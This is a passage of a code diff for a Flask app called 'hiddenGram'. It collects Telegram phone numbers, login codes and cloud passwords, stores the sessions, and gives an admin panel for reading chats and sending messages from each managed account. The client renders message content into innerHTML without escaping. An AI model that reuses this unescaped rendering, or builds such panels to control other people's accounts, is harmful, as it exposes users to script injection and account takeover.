session_file = result[0]
|
| 54 |
+
|
| 55 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 56 |
+
try:
|
| 57 |
+
await client.connect()
|
| 58 |
+
if not await client.is_user_authorized():
|
| 59 |
+
# If session is invalid, remove it from DB and return error
|
| 60 |
+
with sqlite3.connect(DB_PATH) as conn:
|
| 61 |
+
c = conn.cursor()
|
| 62 |
+
c.execute('DELETE FROM users WHERE id = ?', (user_id,))
|
| 63 |
+
conn.commit()
|
| 64 |
+
await client.disconnect()
|
| 65 |
+
return None, "Session expired or invalid. Please re-login."
|
| 66 |
+
except Exception as e:
|
| 67 |
+
if client.is_connected():
|
| 68 |
+
await client.disconnect()
|
| 69 |
+
return None, f"Failed to connect Telegram client: {e}"
|
| 70 |
+
|
| 71 |
return client, None
|
| 72 |
|
| 73 |
+
# --- HTML Templates ---
|
| 74 |
+
|
| 75 |
+
# Main login page for adding new accounts
|
| 76 |
+
LOGIN_TEMPLATE = '''
|
| 77 |
<!DOCTYPE html>
|
| 78 |
<html lang="en">
|
| 79 |
<head>
|
| 80 |
<meta charset="UTF-8">
|
| 81 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 82 |
+
<title>hiddenGram - Login</title>
|
| 83 |
<style>
|
| 84 |
+
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #2c2c2c; color: #e0e0e0; margin: 0; padding: 20px; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
|
| 85 |
+
.container { background: #3a3a3a; padding: 30px; border-radius: 10px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.4); width: 100%; max-width: 450px; text-align: center; }
|
| 86 |
+
h1 { color: #87CEEB; margin-bottom: 25px; font-size: 2.2em; }
|
| 87 |
+
.form-group { margin-bottom: 15px; }
|
| 88 |
+
input[type="text"], input[type="password"] {
|
| 89 |
+
width: calc(100% - 20px); padding: 12px; margin: 8px 0; background: #4a4a4a; color: #e0e0e0; border: 1px solid #555; border-radius: 5px;
|
| 90 |
+
font-size: 1em; box-sizing: border-box;
|
| 91 |
+
}
|
| 92 |
+
button {
|
| 93 |
+
padding: 12px 25px; background: #87CEEB; color: #3a3a3a; border: none; border-radius: 5px; cursor: pointer;
|
| 94 |
+
font-size: 1.1em; font-weight: bold; transition: background 0.2s ease-in-out, transform 0.1s ease-in-out;
|
| 95 |
+
margin-top: 10px; width: calc(100% - 20px);
|
| 96 |
+
}
|
| 97 |
+
button:hover { background: #6aB1D1; transform: translateY(-1px); }
|
| 98 |
+
button:active { transform: translateY(1px); }
|
| 99 |
+
.message { margin-top: 15px; padding: 10px; border-radius: 5px; font-weight: bold; }
|
| 100 |
+
.message.success { background: #4CAF50; color: white; }
|
| 101 |
+
.message.error { background: #f44336; color: white; }
|
| 102 |
+
.admin-link { display: block; margin-top: 25px; font-size: 1.1em; }
|
| 103 |
+
.admin-link a { color: #87CEEB; text-decoration: none; transition: color 0.2s; }
|
| 104 |
+
.admin-link a:hover { color: #6aB1D1; text-decoration: underline; }
|
| 105 |
</style>
|
| 106 |
</head>
|
| 107 |
<body>
|
| 108 |
<div class="container">
|
| 109 |
+
<h1>hiddenGram Login</h1>
|
| 110 |
+
<p style="color: #bbb;">Log in a new Telegram account for management.</p>
|
| 111 |
+
<div class="form-group">
|
| 112 |
<input type="text" id="phone" placeholder="Phone number (+1234567890)">
|
| 113 |
<button onclick="startLogin()">Start Login</button>
|
| 114 |
+
</div>
|
| 115 |
+
<div class="form-group">
|
| 116 |
<input type="text" id="code" placeholder="Verification code" style="display:none;">
|
| 117 |
<input type="text" id="password" placeholder="Cloud password" style="display:none;">
|
| 118 |
<button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
|
| 119 |
<button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
|
| 120 |
</div>
|
| 121 |
+
<div id="statusMessage" class="message" style="display:none;"></div>
|
| 122 |
+
|
| 123 |
+
<div class="admin-link">
|
| 124 |
+
<a href="/admin">Go to Admin Panel</a>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 125 |
</div>
|
| 126 |
</div>
|
| 127 |
<script>
|
| 128 |
let phone = '';
|
| 129 |
let phoneCodeHash = '';
|
| 130 |
+
const statusMessageDiv = document.getElementById('statusMessage');
|
| 131 |
+
|
| 132 |
+
function showMessage(message, type = 'success') {
|
| 133 |
+
statusMessageDiv.textContent = message;
|
| 134 |
+
statusMessageDiv.className = 'message ' + type;
|
| 135 |
+
statusMessageDiv.style.display = 'block';
|
| 136 |
+
}
|
| 137 |
|
| 138 |
async function startLogin() {
|
| 139 |
phone = document.getElementById('phone').value;
|
| 140 |
+
if (!phone) {
|
| 141 |
+
showMessage('Please enter a phone number.', 'error');
|
| 142 |
+
return;
|
| 143 |
+
}
|
| 144 |
+
showMessage('Sending code...', 'info');
|
| 145 |
+
const response = await fetch('/api/login', {
|
| 146 |
method: 'POST',
|
| 147 |
headers: { 'Content-Type': 'application/json' },
|
| 148 |
body: JSON.stringify({ phone, step: 'start' })
|
| 149 |
});
|
| 150 |
const result = await response.json();
|
| 151 |
+
if (result.success) {
|
| 152 |
+
showMessage(result.message, 'success');
|
| 153 |
+
if (result.phone_code_hash) {
|
| 154 |
+
phoneCodeHash = result.phone_code_hash;
|
| 155 |
+
document.getElementById('code').style.display = 'inline';
|
| 156 |
+
document.getElementById('submitCode').style.display = 'inline';
|
| 157 |
+
} else {
|
| 158 |
+
// Already logged in, or immediate success (rare for new login)
|
| 159 |
+
setTimeout(() => window.location.href = '/admin', 1000); // Redirect to admin panel
|
| 160 |
+
}
|
| 161 |
+
} else {
|
| 162 |
+
showMessage('Login failed: ' + result.message, 'error');
|
| 163 |
}
|
| 164 |
}
|
| 165 |
|
| 166 |
async function submitCode() {
|
| 167 |
const code = document.getElementById('code').value;
|
| 168 |
+
if (!code) {
|
| 169 |
+
showMessage('Please enter the verification code.', 'error');
|
| 170 |
+
return;
|
| 171 |
+
}
|
| 172 |
+
showMessage('Submitting code...', 'info');
|
| 173 |
+
const response = await fetch('/api/login', {
|
| 174 |
method: 'POST',
|
| 175 |
headers: { 'Content-Type': 'application/json' },
|
| 176 |
body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' })
|
| 177 |
});
|
| 178 |
const result = await response.json();
|
|
|
|
| 179 |
if (result.success) {
|
| 180 |
+
showMessage(result.message, 'success');
|
| 181 |
+
setTimeout(() => window.location.href = '/admin', 1000); // Redirect to admin panel
|
| 182 |
} else if (result.password_required) {
|
| 183 |
+
showMessage(result.message, 'info');
|
| 184 |
document.getElementById('password').style.display = 'inline';
|
| 185 |
document.getElementById('submitPassword').style.display = 'inline';
|
| 186 |
document.getElementById('submitCode').style.display = 'none';
|
| 187 |
document.getElementById('code').style.display = 'none';
|
| 188 |
+
} else {
|
| 189 |
+
showMessage('Code submission failed: ' + result.message, 'error');
|
| 190 |
}
|
| 191 |
}
|
| 192 |
|
| 193 |
async function submitPassword() {
|
| 194 |
const password = document.getElementById('password').value;
|
| 195 |
+
if (!password) {
|
| 196 |
+
showMessage('Please enter your cloud password.', 'error');
|
| 197 |
+
return;
|
| 198 |
+
}
|
| 199 |
+
showMessage('Submitting password...', 'info');
|
| 200 |
+
const response = await fetch('/api/login', {
|
| 201 |
method: 'POST',
|
| 202 |
headers: { 'Content-Type': 'application/json' },
|
| 203 |
body: JSON.stringify({ phone, password, step: 'password' })
|
| 204 |
});
|
| 205 |
const result = await response.json();
|
| 206 |
if (result.success) {
|
| 207 |
+
showMessage(result.message, 'success');
|
| 208 |
+
setTimeout(() => window.location.href = '/admin', 1000); // Redirect to admin panel
|
| 209 |
} else {
|
| 210 |
+
showMessage('Password submission failed: ' + result.message, 'error');
|
| 211 |
}
|
| 212 |
}
|
| 213 |
</script>
|
|
|
|
| 215 |
</html>
|
| 216 |
'''
|
| 217 |
|
| 218 |
+
# Admin panel to list managed accounts
|
| 219 |
+
ADMIN_TEMPLATE = '''
|
| 220 |
<!DOCTYPE html>
|
| 221 |
<html lang="en">
|
| 222 |
<head>
|
| 223 |
<meta charset="UTF-8">
|
| 224 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 225 |
+
<title>hiddenGram - Admin Panel</title>
|
| 226 |
<style>
|
| 227 |
+
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #2c2c2c; color: #e0e0e0; margin: 0; padding: 20px; }
|
| 228 |
+
.container { max-width: 900px; margin: auto; background: #3a3a3a; padding: 30px; border-radius: 10px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.4); }
|
| 229 |
+
h1 { text-align: center; color: #87CEEB; margin-bottom: 25px; }
|
| 230 |
+
h2 { color: #e0e0e0; margin-top: 25px; margin-bottom: 15px; }
|
| 231 |
+
table { width: 100%; border-collapse: collapse; margin-top: 15px; }
|
| 232 |
+
th, td { padding: 12px; border: 1px solid #555; text-align: left; }
|
| 233 |
+
th { background: #4a4a4a; color: #87CEEB; }
|
| 234 |
+
tr:nth-child(even) { background-color: #3f3f3f; }
|
| 235 |
+
tr:hover { background-color: #555; }
|
| 236 |
+
a { color: #87CEEB; text-decoration: none; transition: color 0.2s; }
|
| 237 |
+
a:hover { text-decoration: underline; color: #6aB1D1; }
|
| 238 |
+
.home-link { display: block; text-align: center; margin-top: 30px; font-size: 1.1em; }
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 239 |
</style>
|
| 240 |
</head>
|
| 241 |
<body>
|
| 242 |
<div class="container">
|
| 243 |
+
<h1>hiddenGram - Admin Panel</h1>
|
| 244 |
+
<h2>Managed Accounts</h2>
|
| 245 |
+
<table>
|
| 246 |
+
<thead>
|
| 247 |
+
<tr><th>ID</th><th>Telegram ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
|
| 248 |
+
</thead>
|
| 249 |
+
<tbody>
|
| 250 |
+
{% for user in users %}
|
| 251 |
+
<tr>
|
| 252 |
+
<td>{{ user[0] }}</td>
|
| 253 |
+
<td>{{ user[1] }}</td>
|
| 254 |
+
<td>{{ user[2] or 'N/A' }}</td>
|
| 255 |
+
<td>{{ user[3] }}</td>
|
| 256 |
+
<td>
|
| 257 |
+
<a href="/user/{{ user[0] }}/client">Manage/Open Client</a>
|
| 258 |
+
</td>
|
| 259 |
+
</tr>
|
| 260 |
+
{% endfor %}
|
| 261 |
+
</tbody>
|
| 262 |
+
</table>
|
| 263 |
+
<div class="home-link">
|
| 264 |
+
<a href="/">Add New Account</a>
|
| 265 |
+
</div>
|
| 266 |
+
</div>
|
| 267 |
+
</body>
|
| 268 |
+
</html>
|
| 269 |
+
'''
|
| 270 |
+
|
| 271 |
+
# User client interface (hiddenGram client for a specific account)
|
| 272 |
+
USER_CLIENT_TEMPLATE = '''
|
| 273 |
+
<!DOCTYPE html>
|
| 274 |
+
<html lang="en">
|
| 275 |
+
<head>
|
| 276 |
+
<meta charset="UTF-8">
|
| 277 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 278 |
+
<title>hiddenGram - {{ user.username or user.phone }}</title>
|
| 279 |
+
<style>
|
| 280 |
+
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #2c2c2c; color: #e0e0e0; margin: 0; display: flex; height: 100vh; overflow: hidden; }
|
| 281 |
+
.chat-sidebar {
|
| 282 |
+
width: 300px; background: #3a3a3a; border-right: 1px solid #4a4a4a;
|
| 283 |
+
display: flex; flex-direction: column;
|
| 284 |
+
}
|
| 285 |
+
.sidebar-header { padding: 15px; border-bottom: 1px solid #4a4a4a; text-align: center; }
|
| 286 |
+
.sidebar-header h2 { color: #87CEEB; margin: 0; font-size: 1.5em; }
|
| 287 |
+
.chat-list { flex-grow: 1; overflow-y: auto; }
|
| 288 |
+
.chat-item { padding: 15px; border-bottom: 1px solid #444; cursor: pointer; display: flex; align-items: center; }
|
| 289 |
+
.chat-item:hover { background: #4a4a4a; }
|
| 290 |
+
.chat-item.active { background: #5a5a5a; }
|
| 291 |
+
.chat-avatar { width: 40px; height: 40px; border-radius: 50%; background: #6a6a6a; display: flex; justify-content: center; align-items: center; font-weight: bold; font-size: 1.2em; margin-right: 10px; }
|
| 292 |
+
.chat-info { flex-grow: 1; }
|
| 293 |
+
.chat-title { font-weight: bold; color: #e0e0e0; }
|
| 294 |
+
.chat-last-message { font-size: 0.9em; color: #bbb; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }
|
| 295 |
+
|
| 296 |
+
.chat-main { flex-grow: 1; display: flex; flex-direction: column; }
|
| 297 |
+
.chat-header { padding: 15px; background: #3a3a3a; border-bottom: 1px solid #4a4a4a; display: flex; justify-content: space-between; align-items: center; }
|
| 298 |
+
.chat-header h2 { margin: 0; color: #87CEEB; }
|
| 299 |
+
.chat-controls button {
|
| 300 |
+
padding: 8px 15px; background: #87CEEB; color: #3a3a3a; border: none; border-radius: 5px; cursor: pointer;
|
| 301 |
+
font-weight: bold; transition: background 0.2s; margin-left: 10px;
|
| 302 |
+
}
|
| 303 |
+
.chat-controls button:hover { background: #6aB1D1; }
|
| 304 |
|
| 305 |
+
.message-list-container { flex-grow: 1; overflow-y: auto; padding: 20px; background: #2c2c2c; }
|
| 306 |
+
.message-item {
|
| 307 |
+
display: flex; margin-bottom: 15px;
|
| 308 |
+
max-width: 80%; /* Limit message bubble width */
|
| 309 |
+
}
|
| 310 |
+
.message-item.me { justify-content: flex-end; margin-left: auto; } /* Align my messages to right */
|
| 311 |
+
.message-bubble {
|
| 312 |
+
background: #4a4a4a; padding: 12px 15px; border-radius: 18px; position: relative;
|
| 313 |
+
word-wrap: break-word; overflow-wrap: break-word; /* Ensure long words wrap */
|
| 314 |
+
max-width: 100%; /* Ensure bubble itself doesn't overflow */
|
| 315 |
+
min-width: 50px; /* Prevent very small bubbles for short messages */
|
| 316 |
+
}
|
| 317 |
+
.message-item.me .message-bubble { background: #87CEEB; color: #3a3a3a; } /* My message color */
|
| 318 |
|
| 319 |
+
.message-sender { font-size: 0.9em; font-weight: bold; margin-bottom: 5px; color: #bbbbbb; }
|
| 320 |
+
.message-item.me .message-sender { color: #5a5a5a; } /* Sender name for my message */
|
| 321 |
+
|
| 322 |
+
.message-time { font-size: 0.75em; color: #999; text-align: right; margin-top: 5px; }
|
| 323 |
+
.message-item.me .message-time { color: #5a5a5a; }
|
| 324 |
+
|
| 325 |
+
.media-link { display: block; margin-top: 5px; color: #00ffff; text-decoration: none; word-break: break-all; }
|
| 326 |
+
.media-link:hover { text-decoration: underline; }
|
| 327 |
+
.message-text { margin-bottom: 5px; }
|
| 328 |
+
.unsupported-media { color: #ffeb3b; font-style: italic; }
|
| 329 |
+
|
| 330 |
+
.message-input-area {
|
| 331 |
+
padding: 15px; border-top: 1px solid #4a4a4a; background: #3a3a3a;
|
| 332 |
+
display: flex;
|
| 333 |
+
}
|
| 334 |
+
.message-input {
|
| 335 |
+
flex-grow: 1; padding: 12px; background: #4a4a4a; color: #e0e0e0;
|
| 336 |
+
border: none; border-radius: 20px; outline: none; margin-right: 10px;
|
| 337 |
+
resize: none; /* Disable textarea resize handle */
|
| 338 |
+
font-size: 1em;
|
| 339 |
+
max-height: 120px; /* Limit height for auto-expanding textarea */
|
| 340 |
+
overflow-y: auto;
|
| 341 |
+
}
|
| 342 |
+
.message-input::placeholder { color: #999; }
|
| 343 |
+
.send-button {
|
| 344 |
+
padding: 12px 20px; background: #87CEEB; color: #3a3a3a; border: none;
|
| 345 |
+
border-radius: 20px; cursor: pointer; font-weight: bold; transition: background 0.2s;
|
| 346 |
+
}
|
| 347 |
+
.send-button:hover { background: #6aB1D1; }
|
| 348 |
+
|
| 349 |
+
/* Admin/Action Modals (simple overlay) */
|
| 350 |
+
.modal {
|
| 351 |
+
display: none; position: fixed; z-index: 1; left: 0; top: 0; width: 100%; height: 100%;
|
| 352 |
+
overflow: auto; background-color: rgba(0,0,0,0.7); justify-content: center; align-items: center;
|
| 353 |
+
}
|
| 354 |
+
.modal-content {
|
| 355 |
+
background-color: #3a3a3a; margin: auto; padding: 30px; border-radius: 10px;
|
| 356 |
+
width: 80%; max-width: 500px; text-align: center;
|
| 357 |
+
}
|
| 358 |
+
.modal-content h3 { color: #87CEEB; margin-bottom: 20px; }
|
| 359 |
+
.modal-content input[type="text"], .modal-content textarea { width: calc(100% - 20px); margin-bottom: 15px; }
|
| 360 |
+
.modal-content .button-group button { margin: 5px; padding: 10px 20px; border-radius: 5px; }
|
| 361 |
+
.close-button { color: #aaa; float: right; font-size: 28px; font-weight: bold; }
|
| 362 |
+
.close-button:hover, .close-button:focus { color: #e0e0e0; text-decoration: none; cursor: pointer; }
|
| 363 |
+
</style>
|
| 364 |
+
</head>
|
| 365 |
+
<body>
|
| 366 |
+
<div class="chat-sidebar">
|
| 367 |
+
<div class="sidebar-header">
|
| 368 |
+
<h2>hiddenGram</h2>
|
| 369 |
+
<div style="font-size: 0.9em; color: #bbb;">Logged in as: {{ user.username or user.phone }}</div>
|
| 370 |
+
<div style="margin-top: 10px;">
|
| 371 |
+
<button onclick="openJoinChatModal()">Join Chat</button>
|
| 372 |
+
<button onclick="openSendMessageModal()">New Message</button>
|
| 373 |
</div>
|
| 374 |
+
<div style="margin-top: 10px;">
|
| 375 |
+
<a href="/admin" style="color: #6aB1D1; text-decoration: none;">Back to Admin</a>
|
| 376 |
+
</div>
|
| 377 |
+
</div>
|
| 378 |
+
<div class="chat-list" id="chatList">
|
| 379 |
+
<!-- Chats will be loaded here by JavaScript -->
|
| 380 |
+
<p style="text-align: center; padding: 20px; color: #bbb;">Loading chats...</p>
|
| 381 |
+
</div>
|
| 382 |
+
</div>
|
| 383 |
|
| 384 |
+
<div class="chat-main">
|
| 385 |
+
<div class="chat-header">
|
| 386 |
+
<h2 id="chatTitle">Select a chat</h2>
|
| 387 |
+
<div class="chat-controls">
|
| 388 |
+
<button onclick="loadMessages(currentChatId, true)" id="refreshMessagesBtn" style="display:none;">Refresh</button>
|
| 389 |
+
</div>
|
| 390 |
+
</div>
|
| 391 |
+
<div class="message-list-container" id="messageListContainer">
|
| 392 |
+
<!-- Messages will be loaded here by JavaScript -->
|
| 393 |
+
<p style="text-align: center; padding: 20px; color: #bbb;">No chat selected. Please select a chat from the left panel.</p>
|
| 394 |
+
</div>
|
| 395 |
+
<div class="message-input-area" id="messageInputArea" style="display:none;">
|
| 396 |
+
<textarea id="messageInput" class="message-input" placeholder="Type a message..."></textarea>
|
| 397 |
+
<button class="send-button" onclick="sendMessage()">Send</button>
|
| 398 |
+
</div>
|
| 399 |
+
</div>
|
| 400 |
+
|
| 401 |
+
<!-- Modals for Join Chat and New Message (Admin actions for this user) -->
|
| 402 |
+
<div id="joinChatModal" class="modal">
|
| 403 |
+
<div class="modal-content">
|
| 404 |
+
<span class="close-button" onclick="closeModal('joinChatModal')">×</span>
|
| 405 |
+
<h3>Join New Chat/Channel</h3>
|
| 406 |
+
<input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
|
| 407 |
+
<div class="button-group">
|
| 408 |
+
<button onclick="joinChat({{ user.id }})">Join Chat</button>
|
| 409 |
</div>
|
| 410 |
+
<p id="joinChatStatus" style="color: #ffeb3b;"></p>
|
| 411 |
</div>
|
| 412 |
+
</div>
|
| 413 |
|
| 414 |
+
<div id="sendMessageModal" class="modal">
|
| 415 |
+
<div class="modal-content">
|
| 416 |
+
<span class="close-button" onclick="closeModal('sendMessageModal')">×</span>
|
| 417 |
+
<h3>Send Message to Arbitrary Recipient</h3>
|
| 418 |
+
<input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
|
| 419 |
+
<textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
|
| 420 |
+
<div class="button-group">
|
| 421 |
+
<button onclick="sendArbitraryMessage({{ user.id }})">Send Message</button>
|
| 422 |
+
</div>
|
| 423 |
+
<p id="sendMessageStatus" style="color: #ffeb3b;"></p>
|
| 424 |
</div>
|
| 425 |
</div>
|
| 426 |
|
| 427 |
<script>
|
| 428 |
+
const userId = {{ user.id }};
|
| 429 |
+
let currentChatId = null;
|
| 430 |
+
let currentChatTitle = '';
|
| 431 |
+
|
| 432 |
+
document.addEventListener('DOMContentLoaded', () => {
|
| 433 |
+
loadChatList();
|
| 434 |
+
document.getElementById('messageInput').addEventListener('keydown', function(event) {
|
| 435 |
+
if (event.key === 'Enter' && !event.shiftKey) {
|
| 436 |
+
event.preventDefault(); // Prevent new line
|
| 437 |
+
sendMessage();
|
| 438 |
+
}
|
| 439 |
+
});
|
| 440 |
+
document.getElementById('messageInput').addEventListener('input', function() {
|
| 441 |
+
this.style.height = 'auto';
|
| 442 |
+
this.style.height = (this.scrollHeight) + 'px';
|
| 443 |
+
});
|
| 444 |
+
});
|
| 445 |
+
|
| 446 |
+
async function loadChatList() {
|
| 447 |
+
const chatListDiv = document.getElementById('chatList');
|
| 448 |
+
chatListDiv.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">Loading chats...</p>';
|
| 449 |
+
try {
|
| 450 |
+
const response = await fetch(`/api/user/${userId}/chats`);
|
| 451 |
+
const result = await response.json();
|
| 452 |
+
if (result.success) {
|
| 453 |
+
chatListDiv.innerHTML = '';
|
| 454 |
+
if (result.chats.length === 0) {
|
| 455 |
+
chatListDiv.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">No chats found. Join one!</p>';
|
| 456 |
+
}
|
| 457 |
+
result.chats.forEach(chat => {
|
| 458 |
+
const chatItem = document.createElement('div');
|
| 459 |
+
chatItem.className = 'chat-item';
|
| 460 |
+
chatItem.setAttribute('data-chat-id', chat.id);
|
| 461 |
+
chatItem.onclick = () => selectChat(chat.id, chat.title);
|
| 462 |
+
|
| 463 |
+
const avatarInitial = chat.title ? chat.title.charAt(0).toUpperCase() : '?';
|
| 464 |
+
chatItem.innerHTML = `
|
| 465 |
+
<div class="chat-avatar">${avatarInitial}</div>
|
| 466 |
+
<div class="chat-info">
|
| 467 |
+
<div class="chat-title">${chat.title}</div>
|
| 468 |
+
<div class="chat-last-message"><em>${chat.type}</em></div>
|
| 469 |
+
</div>
|
| 470 |
+
`;
|
| 471 |
+
chatListDiv.appendChild(chatItem);
|
| 472 |
+
});
|
| 473 |
+
} else {
|
| 474 |
+
chatListDiv.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Error: ${result.message}</p>`;
|
| 475 |
+
}
|
| 476 |
+
} catch (error) {
|
| 477 |
+
chatListDiv.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Failed to load chats: ${error.message}</p>`;
|
| 478 |
+
}
|
| 479 |
+
}
|
| 480 |
+
|
| 481 |
+
function selectChat(chatId, chatTitle) {
|
| 482 |
+
currentChatId = chatId;
|
| 483 |
+
currentChatTitle = chatTitle;
|
| 484 |
+
|
| 485 |
+
document.getElementById('chatTitle').textContent = chatTitle;
|
| 486 |
+
document.getElementById('messageInputArea').style.display = 'flex';
|
| 487 |
+
document.getElementById('refreshMessagesBtn').style.display = 'inline-block';
|
| 488 |
+
|
| 489 |
+
// Remove active class from previous and add to current
|
| 490 |
+
document.querySelectorAll('.chat-item').forEach(item => {
|
| 491 |
+
item.classList.remove('active');
|
| 492 |
+
});
|
| 493 |
+
document.querySelector(`.chat-item[data-chat-id="${chatId}"]`).classList.add('active');
|
| 494 |
+
|
| 495 |
+
loadMessages(chatId);
|
| 496 |
+
}
|
| 497 |
+
|
| 498 |
+
async function loadMessages(chatId, forceRefresh = false) {
|
| 499 |
+
const messageListContainer = document.getElementById('messageListContainer');
|
| 500 |
+
messageListContainer.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">Loading messages...</p>';
|
| 501 |
+
try {
|
| 502 |
+
const response = await fetch(`/api/user/${userId}/chat/${chatId}/messages`);
|
| 503 |
+
const result = await response.json();
|
| 504 |
+
if (result.success) {
|
| 505 |
+
messageListContainer.innerHTML = '';
|
| 506 |
+
if (result.messages.length === 0) {
|
| 507 |
+
messageListContainer.innerHTML = '<p style="text-align: center; padding: 20px; color: #bbb;">No messages found in this chat.</p>';
|
| 508 |
+
}
|
| 509 |
+
result.messages.forEach(msg => {
|
| 510 |
+
const messageItem = document.createElement('div');
|
| 511 |
+
messageItem.className = `message-item ${msg.is_outgoing ? 'me' : ''}`; // Add 'me' class if outgoing
|
| 512 |
+
|
| 513 |
+
let mediaHtml = '';
|
| 514 |
+
if (msg.file_name) {
|
| 515 |
+
mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
|
| 516 |
+
} else if (msg.unsupported_media) {
|
| 517 |
+
mediaHtml = `<div class="unsupported-media"><em>(Unsupported media type)</em></div>`;
|
| 518 |
+
} else if (msg.poll_question) {
|
| 519 |
+
mediaHtml = `<div class="unsupported-media"><em>(Poll: ${msg.poll_question})</em></div>`;
|
| 520 |
+
} else if (msg.geo_coords) {
|
| 521 |
+
mediaHtml = `<div class="unsupported-media"><em>(Location: ${msg.geo_coords})</em></div>`;
|
| 522 |
+
} else if (msg.contact_name) {
|
| 523 |
+
mediaHtml = `<div class="unsupported-media"><em>(Contact: ${msg.contact_name})</em></div>`;
|
| 524 |
+
} else if (msg.webpage_url) {
|
| 525 |
+
mediaHtml = `<a class="media-link" href="${msg.webpage_url}" target="_blank">Web Page: ${msg.webpage_title || msg.webpage_url}</a>`;
|
| 526 |
+
}
|
| 527 |
+
|
| 528 |
+
messageItem.innerHTML = `
|
| 529 |
+
<div class="message-bubble">
|
| 530 |
+
<div class="message-sender">${msg.sender_name}</div>
|
| 531 |
+
${msg.text ? `<div class="message-text">${msg.text.replace(/\n/g, '<br>')}</div>` : ''}
|
| 532 |
+
${mediaHtml}
|
| 533 |
+
<div class="message-time">${msg.date}</div>
|
| 534 |
+
</div>
|
| 535 |
+
`;
|
| 536 |
+
messageListContainer.appendChild(messageItem);
|
| 537 |
+
});
|
| 538 |
+
// Scroll to bottom
|
| 539 |
+
messageListContainer.scrollTop = messageListContainer.scrollHeight;
|
| 540 |
+
} else {
|
| 541 |
+
messageListContainer.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Error: ${result.message}</p>`;
|
| 542 |
+
}
|
| 543 |
+
} catch (error) {
|
| 544 |
+
messageListContainer.innerHTML = `<p style="text-align: center; padding: 20px; color: #f44336;">Failed to load messages: ${error.message}</p>`;
|
| 545 |
+
}
|
| 546 |
+
}
|
| 547 |
+
|
| 548 |
+
async function sendMessage() {
|
| 549 |
+
if (!currentChatId) {
|
| 550 |
+
alert('Please select a chat first.');
|
| 551 |
+
return;
|
| 552 |
+
}
|
| 553 |
+
const message = document.getElementById('messageInput').value.trim();
|
| 554 |
+
if (!message) {
|
| 555 |
+
return; // Don't send empty messages
|
| 556 |
+
}
|
| 557 |
+
|
| 558 |
+
// Temporarily add the message to UI
|
| 559 |
+
const messageListContainer = document.getElementById('messageListContainer');
|
| 560 |
+
const tempMessageItem = document.createElement('div');
|
| 561 |
+
tempMessageItem.className = 'message-item me';
|
| 562 |
+
tempMessageItem.innerHTML = `
|
| 563 |
+
<div class="message-bubble">
|
| 564 |
+
<div class="message-sender">You</div>
|
| 565 |
+
<div class="message-text">${message.replace(/\n/g, '<br>')}</div>
|
| 566 |
+
<div class="message-time">Sending...</div>
|
| 567 |
+
</div>
|
| 568 |
+
`;
|
| 569 |
+
messageListContainer.appendChild(tempMessageItem);
|
| 570 |
+
messageListContainer.scrollTop = messageListContainer.scrollHeight;
|
| 571 |
+
document.getElementById('messageInput').value = ''; // Clear input
|
| 572 |
+
|
| 573 |
+
try {
|
| 574 |
+
const response = await fetch(`/api/user/${userId}/chat/${currentChatId}/send_message`, {
|
| 575 |
method: 'POST',
|
| 576 |
headers: { 'Content-Type': 'application/json' },
|
| 577 |
+
body: JSON.stringify({ message })
|
| 578 |
});
|
| 579 |
const result = await response.json();
|
|
|
|
| 580 |
if (result.success) {
|
| 581 |
+
tempMessageItem.querySelector('.message-time').textContent = 'Sent!';
|
| 582 |
+
} else {
|
| 583 |
+
tempMessageItem.querySelector('.message-time').textContent = `Failed: ${result.message}`;
|
| 584 |
+
tempMessageItem.querySelector('.message-bubble').style.backgroundColor = '#f44336';
|
| 585 |
}
|
| 586 |
+
} catch (error) {
|
| 587 |
+
tempMessageItem.querySelector('.message-time').textContent = `Error: ${error.message}`;
|
| 588 |
+
tempMessageItem.querySelector('.message-bubble').style.backgroundColor = '#f44336';
|
| 589 |
+
} finally {
|
| 590 |
+
setTimeout(() => loadMessages(currentChatId, true), 500); // Refresh after a short delay
|
| 591 |
}
|
| 592 |
}
|
| 593 |
|
| 594 |
+
// --- Modals related functions ---
|
| 595 |
+
function openModal(modalId) {
|
| 596 |
+
document.getElementById(modalId).style.display = 'flex';
|
| 597 |
+
}
|
| 598 |
+
|
| 599 |
+
function closeModal(modalId) {
|
| 600 |
+
document.getElementById(modalId).style.display = 'none';
|
| 601 |
+
// Clear status messages
|
| 602 |
+
document.getElementById('joinChatStatus').textContent = '';
|
| 603 |
+
document.getElementById('sendMessageStatus').textContent = '';
|
| 604 |
+
}
|
| 605 |
+
|
| 606 |
+
function openJoinChatModal() {
|
| 607 |
+
document.getElementById('joinChatIdentifier').value = '';
|
| 608 |
+
openModal('joinChatModal');
|
| 609 |
+
}
|
| 610 |
+
|
| 611 |
+
function openSendMessageModal() {
|
| 612 |
+
document.getElementById('sendMessageRecipient').value = '';
|
| 613 |
+
document.getElementById('sendMessageContent').value = '';
|
| 614 |
+
openModal('sendMessageModal');
|
| 615 |
+
}
|
| 616 |
